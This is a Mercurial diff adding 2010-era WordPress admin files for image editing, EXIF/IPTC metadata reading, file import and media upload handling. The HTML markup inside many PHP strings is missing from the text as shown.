"{$path_parts['dirname']}/{$filename}-temp.{$path_parts['extension']}"; + else + $new_path = $path; + } else { + while( true ) { + $filename = preg_replace( '/-e([0-9]+)$/', '', $filename ); + $filename .= "-e{$suffix}"; + $new_filename = "{$filename}.{$path_parts['extension']}"; + $new_path = "{$path_parts['dirname']}/$new_filename"; + if ( file_exists($new_path) ) + $suffix++; + else + break; + } + } + + // save the full-size file, also needed to create sub-sizes + if ( !wp_save_image_file($new_path, $img, $post->post_mime_type, $post_id) ) { + $return->error = esc_js( __('Unable to save the image.') ); + return $return; + } + + if ( 'nothumb' == $target || 'all' == $target || 'full' == $target || $scaled ) { + $tag = false; + if ( isset($backup_sizes['full-orig']) ) { + if ( ( !defined('IMAGE_EDIT_OVERWRITE') || !IMAGE_EDIT_OVERWRITE ) && $backup_sizes['full-orig']['file'] != $path_parts['basename'] ) + $tag = "full-$suffix"; + } else { + $tag = 'full-orig'; + } + + if ( $tag ) + $backup_sizes[$tag] = array('width' => $meta['width'], 'height' => $meta['height'], 'file' => $path_parts['basename']); + + $success = update_attached_file($post_id, $new_path); + + $meta['file'] = _wp_relative_upload_path($new_path); + $meta['width'] = imagesx($img); + $meta['height'] = imagesy($img); + + list ( $uwidth, $uheight ) = wp_shrink_dimensions($meta['width'], $meta['height']); + $meta['hwstring_small'] = "height='$uheight' width='$uwidth'"; + + if ( $success && ('nothumb' == $target || 'all' == $target) ) { + $sizes = apply_filters( 'intermediate_image_sizes', array('large', 'medium', 'thumbnail') ); + if ( 'nothumb' == $target ) + $sizes = array_diff( $sizes, array('thumbnail') ); + } + + $return->fw = $meta['width']; + $return->fh = $meta['height']; + } elseif ( 'thumbnail' == $target ) { + $sizes = array( 'thumbnail' ); + $success = $delete = $nocrop = true; + } + + if ( isset($sizes) ) { + foreach ( $sizes as $size ) { + $tag = false; + if ( isset($meta['sizes'][$size]) ) { + if ( isset($backup_sizes["$size-orig"]) ) { + if ( ( !defined('IMAGE_EDIT_OVERWRITE') || !IMAGE_EDIT_OVERWRITE ) && $backup_sizes["$size-orig"]['file'] != $meta['sizes'][$size]['file'] ) + $tag = "$size-$suffix"; + } else { + $tag = "$size-orig"; + } + + if ( $tag ) + $backup_sizes[$tag] = $meta['sizes'][$size]; + } + + $crop = $nocrop ? false : get_option("{$size}_crop"); + $resized = image_make_intermediate_size($new_path, get_option("{$size}_size_w"), get_option("{$size}_size_h"), $crop ); + + if ( $resized ) + $meta['sizes'][$size] = $resized; + else + unset($meta['sizes'][$size]); + } + } + + if ( $success ) { + wp_update_attachment_metadata($post_id, $meta); + update_post_meta( $post_id, '_wp_attachment_backup_sizes', $backup_sizes); + + if ( $target == 'thumbnail' || $target == 'all' || $target == 'full' ) { + $file_url = wp_get_attachment_url($post_id); + if ( $thumb = $meta['sizes']['thumbnail'] ) + $return->thumbnail = path_join( dirname($file_url), $thumb['file'] ); + else + $return->thumbnail = "$file_url?w=128&h=128"; + } + } else { + $delete = true; + } + + if ( $delete ) { + $delpath = apply_filters('wp_delete_file', $new_path); + @unlink($delpath); + } + + imagedestroy($img); + + $return->msg = esc_js( __('Image saved') ); + return $return; +} + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/includes/image.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/includes/image.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,343 @@ + '', 'height' => '', 'crop' => FALSE ); + if ( isset( $_wp_additional_image_sizes[$s]['width'] ) ) + $sizes[$s]['width'] = intval( $_wp_additional_image_sizes[$s]['width'] ); // For theme-added sizes + else + $sizes[$s]['width'] = get_option( "{$s}_size_w" ); // For default sizes set in options + if ( isset( $_wp_additional_image_sizes[$s]['height'] ) ) + $sizes[$s]['height'] = intval( $_wp_additional_image_sizes[$s]['height'] ); // For theme-added sizes + else + $sizes[$s]['height'] = get_option( "{$s}_size_h" ); // For default sizes set in options + if ( isset( $_wp_additional_image_sizes[$s]['crop'] ) ) + $sizes[$s]['crop'] = intval( $_wp_additional_image_sizes[$s]['crop'] ); // For theme-added sizes + else + $sizes[$s]['crop'] = get_option( "{$s}_crop" ); // For default sizes set in options + } + + $sizes = apply_filters( 'intermediate_image_sizes_advanced', $sizes ); + + foreach ($sizes as $size => $size_data ) { + $resized = image_make_intermediate_size( $file, $size_data['width'], $size_data['height'], $size_data['crop'] ); + if ( $resized ) + $metadata['sizes'][$size] = $resized; + } + + // fetch additional metadata from exif/iptc + $image_meta = wp_read_image_metadata( $file ); + if ( $image_meta ) + $metadata['image_meta'] = $image_meta; + + } + + return apply_filters( 'wp_generate_attachment_metadata', $metadata, $attachment_id ); +} + +/** + * Load an image from a string, if PHP supports it. + * + * @since 2.1.0 + * + * @param string $file Filename of the image to load. + * @return resource The resulting image resource on success, Error string on failure. + */ +function wp_load_image( $file ) { + if ( is_numeric( $file ) ) + $file = get_attached_file( $file ); + + if ( ! file_exists( $file ) ) + return sprintf(__('File “%s” doesn’t exist?'), $file); + + if ( ! function_exists('imagecreatefromstring') ) + return __('The GD image library is not installed.'); + + // Set artificially high because GD uses uncompressed images in memory + @ini_set('memory_limit', '256M'); + $image = imagecreatefromstring( file_get_contents( $file ) ); + + if ( !is_resource( $image ) ) + return sprintf(__('File “%s” is not an image.'), $file); + + return $image; +} + +/** + * Calculated the new dimentions for a downsampled image. + * + * @since 2.0.0 + * @see wp_shrink_dimensions() + * + * @param int $width Current width of the image + * @param int $height Current height of the image + * @return mixed Array(height,width) of shrunk dimensions. + */ +function get_udims( $width, $height) { + return wp_shrink_dimensions( $width, $height ); +} + +/** + * Calculates the new dimentions for a downsampled image. + * + * @since 2.0.0 + * @see wp_constrain_dimensions() + * + * @param int $width Current width of the image + * @param int $height Current height of the image + * @param int $wmax Maximum wanted width + * @param int $hmax Maximum wanted height + * @return mixed Array(height,width) of shrunk dimensions. + */ +function wp_shrink_dimensions( $width, $height, $wmax = 128, $hmax = 96 ) { + return wp_constrain_dimensions( $width, $height, $wmax, $hmax ); +} + +/** + * Convert a fraction string to a decimal. + * + * @since 2.5.0 + * + * @param string $str + * @return int|float + */ +function wp_exif_frac2dec($str) { + @list( $n, $d ) = explode( '/', $str ); + if ( !empty($d) ) + return $n / $d; + return $str; +} + +/** + * Convert the exif date format to a unix timestamp. + * + * @since 2.5.0 + * + * @param string $str + * @return int + */ +function wp_exif_date2ts($str) { + @list( $date, $time ) = explode( ' ', trim($str) ); + @list( $y, $m, $d ) = explode( ':', $date ); + + return strtotime( "{$y}-{$m}-{$d} {$time}" ); +} + +/** + * Get extended image metadata, exif or iptc as available. + * + * Retrieves the EXIF metadata aperture, credit, camera, caption, copyright, iso + * created_timestamp, focal_length, shutter_speed, and title. + * + * The IPTC metadata that is retrieved is APP13, credit, byline, created date + * and time, caption, copyright, and title. Also includes FNumber, Model, + * DateTimeDigitized, FocalLength, ISOSpeedRatings, and ExposureTime. + * + * @todo Try other exif libraries if available. + * @since 2.5.0 + * + * @param string $file + * @return bool|array False on failure. Image metadata array on success. + */ +function wp_read_image_metadata( $file ) { + if ( !file_exists( $file ) ) + return false; + + list(,,$sourceImageType) = getimagesize( $file ); + + // exif contains a bunch of data we'll probably never need formatted in ways + // that are difficult to use. We'll normalize it and just extract the fields + // that are likely to be useful. Fractions and numbers are converted to + // floats, dates to unix timestamps, and everything else to strings. + $meta = array( + 'aperture' => 0, + 'credit' => '', + 'camera' => '', + 'caption' => '', + 'created_timestamp' => 0, + 'copyright' => '', + 'focal_length' => 0, + 'iso' => 0, + 'shutter_speed' => 0, + 'title' => '', + ); + + // read iptc first, since it might contain data not available in exif such + // as caption, description etc + if ( is_callable('iptcparse') ) { + getimagesize($file, $info); + if ( !empty($info['APP13']) ) { + $iptc = iptcparse($info['APP13']); + if ( !empty($iptc['2#110'][0]) ) // credit + $meta['credit'] = utf8_encode(trim($iptc['2#110'][0])); + elseif ( !empty($iptc['2#080'][0]) ) // byline + $meta['credit'] = utf8_encode(trim($iptc['2#080'][0])); + if ( !empty($iptc['2#055'][0]) and !empty($iptc['2#060'][0]) ) // created date and time + $meta['created_timestamp'] = strtotime($iptc['2#055'][0] . ' ' . $iptc['2#060'][0]); + if ( !empty($iptc['2#120'][0]) ) // caption + $meta['caption'] = utf8_encode(trim($iptc['2#120'][0])); + if ( !empty($iptc['2#116'][0]) ) // copyright + $meta['copyright'] = utf8_encode(trim($iptc['2#116'][0])); + if ( !empty($iptc['2#005'][0]) ) // title + $meta['title'] = utf8_encode(trim($iptc['2#005'][0])); + } + } + + // fetch additional info from exif if available + if ( is_callable('exif_read_data') && in_array($sourceImageType, apply_filters('wp_read_image_metadata_types', array(IMAGETYPE_JPEG, IMAGETYPE_TIFF_II, IMAGETYPE_TIFF_MM)) ) ) { + $exif = @exif_read_data( $file ); + if (!empty($exif['FNumber'])) + $meta['aperture'] = round( wp_exif_frac2dec( $exif['FNumber'] ), 2 ); + if (!empty($exif['Model'])) + $meta['camera'] = trim( $exif['Model'] ); + if (!empty($exif['DateTimeDigitized'])) + $meta['created_timestamp'] = wp_exif_date2ts($exif['DateTimeDigitized']); + if (!empty($exif['FocalLength'])) + $meta['focal_length'] = wp_exif_frac2dec( $exif['FocalLength'] ); + if (!empty($exif['ISOSpeedRatings'])) + $meta['iso'] = $exif['ISOSpeedRatings']; + if (!empty($exif['ExposureTime'])) + $meta['shutter_speed'] = wp_exif_frac2dec( $exif['ExposureTime'] ); + } + + return apply_filters( 'wp_read_image_metadata', $meta, $file, $sourceImageType ); + +} + +/** + * Validate that file is an image. + * + * @since 2.5.0 + * + * @param string $path File path to test if valid image. + * @return bool True if valid image, false if not valid image. + */ +function file_is_valid_image($path) { + $size = @getimagesize($path); + return !empty($size); +} + +/** + * Validate that file is suitable for displaying within a web page. + * + * @since 2.5.0 + * @uses apply_filters() Calls 'file_is_displayable_image' on $result and $path. + * + * @param string $path File path to test. + * @return bool True if suitable, false if not suitable. + */ +function file_is_displayable_image($path) { + $info = @getimagesize($path); + if ( empty($info) ) + $result = false; + elseif ( !in_array($info[2], array(IMAGETYPE_GIF, IMAGETYPE_JPEG, IMAGETYPE_PNG)) ) // only gif, jpeg and png images can reliably be displayed + $result = false; + else + $result = true; + + return apply_filters('file_is_displayable_image', $result, $path); +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/includes/import.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/includes/import.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,92 @@ + false, 'test_type' => false ); + $_FILES['import']['name'] .= '.txt'; + $file = wp_handle_upload( $_FILES['import'], $overrides ); + + if ( isset( $file['error'] ) ) + return $file; + + $url = $file['url']; + $type = $file['type']; + $file = addslashes( $file['file'] ); + $filename = basename( $file ); + + // Construct the object array + $object = array( 'post_title' => $filename, + 'post_content' => $url, + 'post_mime_type' => $type, + 'guid' => $url + ); + + // Save the data + $id = wp_insert_attachment( $object, $file ); + + return array( 'file' => $file, 'id' => $id ); +} + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/includes/manifest.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/includes/manifest.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,208 @@ + __('From Computer'), // handler action suffix => tab text + 'type_url' => __('From URL'), + 'gallery' => __('Gallery'), + 'library' => __('Media Library') + ); + + return apply_filters('media_upload_tabs', $_default_tabs); +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $tabs + * @return unknown + */ +function update_gallery_tab($tabs) { + global $wpdb; + + if ( !isset($_REQUEST['post_id']) ) { + unset($tabs['gallery']); + return $tabs; + } + + $post_id = intval($_REQUEST['post_id']); + + if ( $post_id ) + $attachments = intval( $wpdb->get_var( $wpdb->prepare( "SELECT count(*) FROM $wpdb->posts WHERE post_type = 'attachment' AND post_status != 'trash' AND post_parent = %d", $post_id ) ) ); + + if ( empty($attachments) ) { + unset($tabs['gallery']); + return $tabs; + } + + $tabs['gallery'] = sprintf(__('Gallery (%s)'), "$attachments"); + + return $tabs; +} +add_filter('media_upload_tabs', 'update_gallery_tab'); + +/** + * {@internal Missing Short Description}} + * + * @since unknown + */ +function the_media_upload_tabs() { + global $redir_tab; + $tabs = media_upload_tabs(); + + if ( !empty($tabs) ) { + echo "
      \n"; + if ( isset($redir_tab) && array_key_exists($redir_tab, $tabs) ) + $current = $redir_tab; + elseif ( isset($_GET['tab']) && array_key_exists($_GET['tab'], $tabs) ) + $current = $_GET['tab']; + else + $current = apply_filters('media_upload_default_tab', 'type'); + + foreach ( $tabs as $callback => $text ) { + $class = ''; + if ( $current == $callback ) + $class = " class='current'"; + $href = add_query_arg(array('tab'=>$callback, 's'=>false, 'paged'=>false, 'post_mime_type'=>false, 'm'=>false)); + $link = "$text"; + echo "\t
    • $link
    • \n"; + } + echo "
    \n"; + } +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $id + * @param unknown_type $alt + * @param unknown_type $title + * @param unknown_type $align + * @param unknown_type $url + * @param unknown_type $rel + * @param unknown_type $size + * @return unknown + */ +function get_image_send_to_editor($id, $caption, $title, $align, $url='', $rel = false, $size='medium', $alt = '') { + + $html = get_image_tag($id, $alt, $title, $align, $size); + + $rel = $rel ? ' rel="attachment wp-att-' . esc_attr($id).'"' : ''; + + if ( $url ) + $html = '$html"; + + $html = apply_filters( 'image_send_to_editor', $html, $id, $caption, $title, $align, $url, $size, $alt ); + + return $html; +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $html + * @param unknown_type $id + * @param unknown_type $alt + * @param unknown_type $title + * @param unknown_type $align + * @param unknown_type $url + * @param unknown_type $size + * @return unknown + */ +function image_add_caption( $html, $id, $caption, $title, $align, $url, $size, $alt = '' ) { + + if ( empty($caption) || apply_filters( 'disable_captions', '' ) ) + return $html; + + $id = ( 0 < (int) $id ) ? 'attachment_' . $id : ''; + + if ( ! preg_match( '/width="([0-9]+)/', $html, $matches ) ) + return $html; + + $width = $matches[1]; + + $html = preg_replace( '/(class=["\'][^\'"]*)align(none|left|right|center)\s?/', '$1', $html ); + if ( empty($align) ) + $align = 'none'; + + $shcode = '[caption id="' . $id . '" align="align' . $align + . '" width="' . $width . '" caption="' . addslashes($caption) . '"]' . $html . '[/caption]'; + + return apply_filters( 'image_add_caption_shortcode', $shcode, $html ); +} +add_filter( 'image_send_to_editor', 'image_add_caption', 20, 8 ); + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $html + */ +function media_send_to_editor($html) { +?> + +false); + + $time = current_time('mysql'); + if ( $post = get_post($post_id) ) { + if ( substr( $post->post_date, 0, 4 ) > 0 ) + $time = $post->post_date; + } + + $name = $_FILES[$file_id]['name']; + $file = wp_handle_upload($_FILES[$file_id], $overrides, $time); + + if ( isset($file['error']) ) + return new WP_Error( 'upload_error', $file['error'] ); + + $name_parts = pathinfo($name); + $name = trim( substr( $name, 0, -(1 + strlen($name_parts['extension'])) ) ); + + $url = $file['url']; + $type = $file['type']; + $file = $file['file']; + $title = $name; + $content = ''; + + // use image exif/iptc data for title and caption defaults if possible + if ( $image_meta = @wp_read_image_metadata($file) ) { + if ( trim($image_meta['title']) ) + $title = $image_meta['title']; + if ( trim($image_meta['caption']) ) + $content = $image_meta['caption']; + } + + // Construct the attachment array + $attachment = array_merge( array( + 'post_mime_type' => $type, + 'guid' => $url, + 'post_parent' => $post_id, + 'post_title' => $title, + 'post_content' => $content, + ), $post_data ); + + // Save the data + $id = wp_insert_attachment($attachment, $file, $post_id); + if ( !is_wp_error($id) ) { + wp_update_attachment_metadata( $id, wp_generate_attachment_metadata( $id, $file ) ); + } + + return $id; + +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $file_array + * @param unknown_type $post_id + * @param unknown_type $desc + * @param unknown_type $post_data + * @return unknown + */ +function media_handle_sideload($file_array, $post_id, $desc = null, $post_data = array()) { + $overrides = array('test_form'=>false); + + $file = wp_handle_sideload($file_array, $overrides); + if ( isset($file['error']) ) + return new WP_Error( 'upload_error', $file['error'] ); + + $url = $file['url']; + $type = $file['type']; + $file = $file['file']; + $title = preg_replace('/\.[^.]+$/', '', basename($file)); + $content = ''; + + // use image exif/iptc data for title and caption defaults if possible + if ( $image_meta = @wp_read_image_metadata($file) ) { + if ( trim($image_meta['title']) ) + $title = $image_meta['title']; + if ( trim($image_meta['caption']) ) + $content = $image_meta['caption']; + } + + $title = @$desc; + + // Construct the attachment array + $attachment = array_merge( array( + 'post_mime_type' => $type, + 'guid' => $url, + 'post_parent' => $post_id, + 'post_title' => $title, + 'post_content' => $content, + ), $post_data ); + + // Save the attachment metadata + $id = wp_insert_attachment($attachment, $file, $post_id); + if ( !is_wp_error($id) ) { + wp_update_attachment_metadata( $id, wp_generate_attachment_metadata( $id, $file ) ); + return $url; + } + return $id; +} + +/** + * {@internal Missing Short Description}} + * + * Wrap iframe content (produced by $content_func) in a doctype, html head/body + * etc any additional function args will be passed to content_func. + * + * @since unknown + * + * @param unknown_type $content_func + */ +function wp_iframe($content_func /* ... */) { +?> + + > + + +<?php bloginfo('name') ?> › <?php _e('Uploads'); ?> — <?php _e('WordPress'); ?> + + + + +> + + + + +$image_title + $video_title + $audio_title + $media_title + +EOF; + printf($context, $out); +} +add_action( 'media_buttons', 'media_buttons' ); + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @return unknown + */ +function media_upload_form_handler() { + check_admin_referer('media-form'); + + $errors = null; + + if ( isset($_POST['send']) ) { + $keys = array_keys($_POST['send']); + $send_id = (int) array_shift($keys); + } + + if ( !empty($_POST['attachments']) ) foreach ( $_POST['attachments'] as $attachment_id => $attachment ) { + $post = $_post = get_post($attachment_id, ARRAY_A); + if ( isset($attachment['post_content']) ) + $post['post_content'] = $attachment['post_content']; + if ( isset($attachment['post_title']) ) + $post['post_title'] = $attachment['post_title']; + if ( isset($attachment['post_excerpt']) ) + $post['post_excerpt'] = $attachment['post_excerpt']; + if ( isset($attachment['menu_order']) ) + $post['menu_order'] = $attachment['menu_order']; + + if ( isset($send_id) && $attachment_id == $send_id ) { + if ( isset($attachment['post_parent']) ) + $post['post_parent'] = $attachment['post_parent']; + } + + $post = apply_filters('attachment_fields_to_save', $post, $attachment); + + if ( isset($attachment['image_alt']) && !empty($attachment['image_alt']) ) { + $image_alt = get_post_meta($attachment_id, '_wp_attachment_image_alt', true); + if ( $image_alt != stripslashes($attachment['image_alt']) ) { + $image_alt = wp_strip_all_tags( stripslashes($attachment['image_alt']), true ); + // update_meta expects slashed + update_post_meta( $attachment_id, '_wp_attachment_image_alt', addslashes($image_alt) ); + } + } + + if ( isset($post['errors']) ) { + $errors[$attachment_id] = $post['errors']; + unset($post['errors']); + } + + if ( $post != $_post ) + wp_update_post($post); + + foreach ( get_attachment_taxonomies($post) as $t ) { + if ( isset($attachment[$t]) ) + wp_set_object_terms($attachment_id, array_map('trim', preg_split('/,+/', $attachment[$t])), $t, false); + } + } + + if ( isset($_POST['insert-gallery']) || isset($_POST['update-gallery']) ) { ?> + + $html"; + } + + $html = apply_filters('media_send_to_editor', $html, $send_id, $attachment); + return media_send_to_editor($html); + } + + return $errors; +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @return unknown + */ +function media_upload_image() { + $errors = array(); + $id = 0; + + if ( isset($_POST['html-upload']) && !empty($_FILES) ) { + // Upload File button was clicked + $id = media_handle_upload('async-upload', $_REQUEST['post_id']); + unset($_FILES); + if ( is_wp_error($id) ) { + $errors['upload_error'] = $id; + $id = false; + } + } + + if ( !empty($_POST['insertonlybutton']) ) { + $alt = $align = ''; + + $src = $_POST['insertonly']['src']; + if ( !empty($src) && !strpos($src, '://') ) + $src = "http://$src"; + $alt = esc_attr($_POST['insertonly']['alt']); + if ( isset($_POST['insertonly']['align']) ) { + $align = esc_attr($_POST['insertonly']['align']); + $class = " class='align$align'"; + } + if ( !empty($src) ) + $html = "$alt"; + + $html = apply_filters('image_send_to_editor_url', $html, esc_url_raw($src), $alt, $align); + return media_send_to_editor($html); + } + + if ( !empty($_POST) ) { + $return = media_upload_form_handler(); + + if ( is_string($return) ) + return $return; + if ( is_array($return) ) + $errors = $return; + } + + if ( isset($_POST['save']) ) { + $errors['upload_notice'] = __('Saved.'); + return media_upload_gallery(); + } + + if ( isset($_GET['tab']) && $_GET['tab'] == 'type_url' ) + return wp_iframe( 'media_upload_type_url_form', 'image', $errors, $id ); + + return wp_iframe( 'media_upload_type_form', 'image', $errors, $id ); +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $file + * @param unknown_type $post_id + * @param unknown_type $desc + * @return unknown + */ +function media_sideload_image($file, $post_id, $desc = null) { + if (!empty($file) ) { + // Download file to temp location + $tmp = download_url($file); + + // Set variables for storage + // fix file filename for query strings + preg_match('/[^\?]+\.(jpg|JPG|jpe|JPE|jpeg|JPEG|gif|GIF|png|PNG)/', $file, $matches); + $file_array['name'] = basename($matches[0]); + $file_array['tmp_name'] = $tmp; + + // If error storing temporarily, unlink + if ( is_wp_error($tmp) ) { + @unlink($file_array['tmp_name']); + $file_array['tmp_name'] = ''; + } + + // do the validation and storage stuff + $id = media_handle_sideload($file_array, $post_id, @$desc); + $src = $id; + + // If error storing permanently, unlink + if ( is_wp_error($id) ) { + @unlink($file_array['tmp_name']); + return $id; + } + } + + // Finally check to make sure the file has been saved, then return the html + if ( !empty($src) ) { + $alt = @$desc; + $html = "$alt"; + return $html; + } +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @return unknown + */ +function media_upload_audio() { + $errors = array(); + $id = 0; + + if ( isset($_POST['html-upload']) && !empty($_FILES) ) { + // Upload File button was clicked + $id = media_handle_upload('async-upload', $_REQUEST['post_id']); + unset($_FILES); + if ( is_wp_error($id) ) { + $errors['upload_error'] = $id; + $id = false; + } + } + + if ( !empty($_POST['insertonlybutton']) ) { + $href = $_POST['insertonly']['href']; + if ( !empty($href) && !strpos($href, '://') ) + $href = "http://$href"; + + $title = esc_attr($_POST['insertonly']['title']); + if ( empty($title) ) + $title = esc_attr( basename($href) ); + + if ( !empty($title) && !empty($href) ) + $html = "$title"; + + $html = apply_filters('audio_send_to_editor_url', $html, $href, $title); + + return media_send_to_editor($html); + } + + if ( !empty($_POST) ) { + $return = media_upload_form_handler(); + + if ( is_string($return) ) + return $return; + if ( is_array($return) ) + $errors = $return; + } + + if ( isset($_POST['save']) ) { + $errors['upload_notice'] = __('Saved.'); + return media_upload_gallery(); + } + + if ( isset($_GET['tab']) && $_GET['tab'] == 'type_url' ) + return wp_iframe( 'media_upload_type_url_form', 'audio', $errors, $id ); + + return wp_iframe( 'media_upload_type_form', 'audio', $errors, $id ); +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @return unknown + */ +function media_upload_video() { + $errors = array(); + $id = 0; + + if ( isset($_POST['html-upload']) && !empty($_FILES) ) { + // Upload File button was clicked + $id = media_handle_upload('async-upload', $_REQUEST['post_id']); + unset($_FILES); + if ( is_wp_error($id) ) { + $errors['upload_error'] = $id; + $id = false; + } + } + + if ( !empty($_POST['insertonlybutton']) ) { + $href = $_POST['insertonly']['href']; + if ( !empty($href) && !strpos($href, '://') ) + $href = "http://$href"; + + $title = esc_attr($_POST['insertonly']['title']); + if ( empty($title) ) + $title = esc_attr( basename($href) ); + + if ( !empty($title) && !empty($href) ) + $html = "$title"; + + $html = apply_filters('video_send_to_editor_url', $html, $href, $title); + + return media_send_to_editor($html); + } + + if ( !empty($_POST) ) { + $return = media_upload_form_handler(); + + if ( is_string($return) ) + return $return; + if ( is_array($return) ) + $errors = $return; + } + + if ( isset($_POST['save']) ) { + $errors['upload_notice'] = __('Saved.'); + return media_upload_gallery(); + } + + if ( isset($_GET['tab']) && $_GET['tab'] == 'type_url' ) + return wp_iframe( 'media_upload_type_url_form', 'video', $errors, $id ); + + return wp_iframe( 'media_upload_type_form', 'video', $errors, $id ); +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @return unknown + */ +function media_upload_file() { + $errors = array(); + $id = 0; + + if ( isset($_POST['html-upload']) && !empty($_FILES) ) { + // Upload File button was clicked + $id = media_handle_upload('async-upload', $_REQUEST['post_id']); + unset($_FILES); + if ( is_wp_error($id) ) { + $errors['upload_error'] = $id; + $id = false; + } + } + + if ( !empty($_POST['insertonlybutton']) ) { + $href = $_POST['insertonly']['href']; + if ( !empty($href) && !strpos($href, '://') ) + $href = "http://$href"; + + $title = esc_attr($_POST['insertonly']['title']); + if ( empty($title) ) + $title = basename($href); + if ( !empty($title) && !empty($href) ) + $html = "$title"; + $html = apply_filters('file_send_to_editor_url', $html, esc_url_raw($href), $title); + return media_send_to_editor($html); + } + + if ( !empty($_POST) ) { + $return = media_upload_form_handler(); + + if ( is_string($return) ) + return $return; + if ( is_array($return) ) + $errors = $return; + } + + if ( isset($_POST['save']) ) { + $errors['upload_notice'] = __('Saved.'); + return media_upload_gallery(); + } + + if ( isset($_GET['tab']) && $_GET['tab'] == 'type_url' ) + return wp_iframe( 'media_upload_type_url_form', 'file', $errors, $id ); + + return wp_iframe( 'media_upload_type_form', 'file', $errors, $id ); +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @return unknown + */ +function media_upload_gallery() { + $errors = array(); + + if ( !empty($_POST) ) { + $return = media_upload_form_handler(); + + if ( is_string($return) ) + return $return; + if ( is_array($return) ) + $errors = $return; + } + + wp_enqueue_script('admin-gallery'); + return wp_iframe( 'media_upload_gallery_form', $errors ); +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @return unknown + */ +function media_upload_library() { + $errors = array(); + if ( !empty($_POST) ) { + $return = media_upload_form_handler(); + + if ( is_string($return) ) + return $return; + if ( is_array($return) ) + $errors = $return; + } + + return wp_iframe( 'media_upload_library_form', $errors ); +} + +/** + * Retrieve HTML for the image alignment radio buttons with the specified one checked. + * + * @since unknown + * + * @param unknown_type $post + * @param unknown_type $checked + * @return unknown + */ +function image_align_input_fields( $post, $checked = '' ) { + + if ( empty($checked) ) + $checked = get_user_setting('align', 'none'); + + $alignments = array('none' => __('None'), 'left' => __('Left'), 'center' => __('Center'), 'right' => __('Right')); + if ( !array_key_exists( (string) $checked, $alignments ) ) + $checked = 'none'; + + $out = array(); + foreach ( $alignments as $name => $label ) { + $name = esc_attr($name); + $out[] = ""; + } + return join("\n", $out); +} + +/** + * Retrieve HTML for the size radio buttons with the specified one checked. + * + * @since unknown + * + * @param unknown_type $post + * @param unknown_type $checked + * @return unknown + */ +function image_size_input_fields( $post, $check = '' ) { + + // get a list of the actual pixel dimensions of each possible intermediate version of this image + $size_names = array('thumbnail' => __('Thumbnail'), 'medium' => __('Medium'), 'large' => __('Large'), 'full' => __('Full size')); + + if ( empty($check) ) + $check = get_user_setting('imgsize', 'medium'); + + foreach ( $size_names as $size => $label ) { + $downsize = image_downsize($post->ID, $size); + $checked = ''; + + // is this size selectable? + $enabled = ( $downsize[3] || 'full' == $size ); + $css_id = "image-size-{$size}-{$post->ID}"; + // if this size is the default but that's not available, don't select it + if ( $size == $check ) { + if ( $enabled ) + $checked = " checked='checked'"; + else + $check = ''; + } elseif ( !$check && $enabled && 'thumbnail' != $size ) { + // if $check is not enabled, default to the first available size that's bigger than a thumbnail + $check = $size; + $checked = " checked='checked'"; + } + + $html = "
    "; + + $html .= ""; + // only show the dimensions if that choice is available + if ( $enabled ) + $html .= " "; + + $html .= '
    '; + + $out[] = $html; + } + + return array( + 'label' => __('Size'), + 'input' => 'html', + 'html' => join("\n", $out), + ); +} + +/** + * Retrieve HTML for the Link URL buttons with the default link type as specified. + * + * @since unknown + * + * @param unknown_type $post + * @param unknown_type $url_type + * @return unknown + */ +function image_link_input_fields($post, $url_type = '') { + + $file = wp_get_attachment_url($post->ID); + $link = get_attachment_link($post->ID); + + if ( empty($url_type) ) + $url_type = get_user_setting('urlbutton', 'post'); + + $url = ''; + if ( $url_type == 'file' ) + $url = $file; + elseif ( $url_type == 'post' ) + $url = $link; + + return " +
    + + + +"; +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $form_fields + * @param unknown_type $post + * @return unknown + */ +function image_attachment_fields_to_edit($form_fields, $post) { + if ( substr($post->post_mime_type, 0, 5) == 'image' ) { + $alt = get_post_meta($post->ID, '_wp_attachment_image_alt', true); + if ( empty($alt) ) + $alt = ''; + + $form_fields['post_title']['required'] = true; + + $form_fields['image_alt'] = array( + 'value' => $alt, + 'label' => __('Alternate text'), + 'helps' => __('Alt text for the image, e.g. “The Mona Lisa”') + ); + + $form_fields['align'] = array( + 'label' => __('Alignment'), + 'input' => 'html', + 'html' => image_align_input_fields($post, get_option('image_default_align')), + ); + + $form_fields['image-size'] = image_size_input_fields( $post, get_option('image_default_size', 'medium') ); + + } else { + unset( $form_fields['image_alt'] ); + } + return $form_fields; +} + +add_filter('attachment_fields_to_edit', 'image_attachment_fields_to_edit', 10, 2); + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $form_fields + * @param unknown_type $post + * @return unknown + */ +function media_single_attachment_fields_to_edit( $form_fields, $post ) { + unset($form_fields['url'], $form_fields['align'], $form_fields['image-size']); + return $form_fields; +} + +function media_post_single_attachment_fields_to_edit( $form_fields, $post ) { + unset($form_fields['image_url']); + return $form_fields; +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $post + * @param unknown_type $attachment + * @return unknown + */ +function image_attachment_fields_to_save($post, $attachment) { + if ( substr($post['post_mime_type'], 0, 5) == 'image' ) { + if ( strlen(trim($post['post_title'])) == 0 ) { + 